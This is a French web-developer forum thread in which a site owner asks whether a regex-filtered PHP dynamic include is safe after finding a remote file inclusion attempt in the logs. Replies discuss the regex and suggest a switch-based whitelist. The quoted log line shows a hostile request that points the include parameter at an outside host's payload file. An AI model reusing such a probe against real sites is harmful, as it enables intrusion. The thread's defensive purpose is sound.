Aller au contenu

Sujets conseillés

Posté

Bonjour,

Sur mon site internet, j'utilise depuis peu un système d'includes pour ouvrir pages de mon site pour une question de rapidité.

Toutes mes pages avec uniquement le texte et les images sont dans un dossier includes (inaccessible à tout le monde sauf à 127.0.0.1) et les pages sont ouvertes dans la page rubrique.php?page=bidule qui contient la mise en page.

Bien sûr il y a un code PHP (qui n'est pas de moi :smartass: ) qui empêche que des personnes malveillantes affichent des pages olé olé sur mon site.

Le code que j'utilise pour sécuriser mes includes

<?php  $page = $_GET['page'];
$page=preg_replace("/[^a-z0-9_ ]/i", "", $page);
if(!@include("includes/$page.php"));
?>

Aujourd'hui en allant regarder mes logs (ça faisait longtemps :( ) je vois ça :

*7.1*3.1**.*0 - - [03/Oct/2007:03:56:05 +0200] "GET /rubrique.php?page=http://******/images/cs.txt? HTTP/1.1" 200 4741 "-" "Wget/1.1 (compatible; i486; Linux; RedHat7.3)"

Cela m'inquiéte :P

Je voudrais savoir si le code que j'utilise pour empêcher n'importe qui d'inclure n'importe quoi sur mon site est efficace ?

Deuxième question qui n'a rien à voir avec la précédente, est-ce que les robots des moteurs de recherche sont comptés dans les visiteurs sur Google Analytics ?

Merci.

Cordialement,

Posté

Il semble bien que ce ne soit pas efficace, parce que tu ne devrais pas avoir d'URL dedans... ta regex remplace http:// par http et donc la page ne peut pas être trouvée.

Je ne comprends par contre pas la ligne suivante, vu que la fonction include() ne retourne aucune valeur:

if(!@include("includes/$page.php"));

Elle est supposée faire quoi ?

Posté

Moi j'utilise un switch, au moins ne sont appelées que les pages que j'ai créé, et pour les autres je redirige vers un 404.

En gros :

//initialisation des variables
$page = $_GET['page'];
$erreur404 = false;
//on teste les différentes valeurs de page
switch($page)
{
//page d'accueil
case 'accueil':
$page2include = 'accueil.php';
break;
//page contact
case 'contact':
$page2include = 'contact.php';
break;
//si $page n'est pas prévu
default:
$erreur404 = true;
break;
}
//cas où $page n'est pas prévu
if($erreur404)
{
header("HTTP/1.0 404 Not Found");
header("Location: http://www.tonsite.com/tapage404personnalisee.html");
}
else //sinon on inclut la bonne page
include '/includes'.$page2include;

Un truc du genre, je l'ai fait vite fait, il se peut qu'il contienne des bugs, mais l'idée est là.

Le prinicpe c'est que ton site n'affiche que les pages que tu as prévu, les autres pages que l'on essaiera d'appeler renverront une erreur 404, et ne seront pas indexées par les moteurs.

En espérant que ça t'aide.

Veuillez vous connecter pour commenter

Vous pourrez laisser un commentaire après vous êtes connecté.



Connectez-vous maintenant
×
×
  • Créer...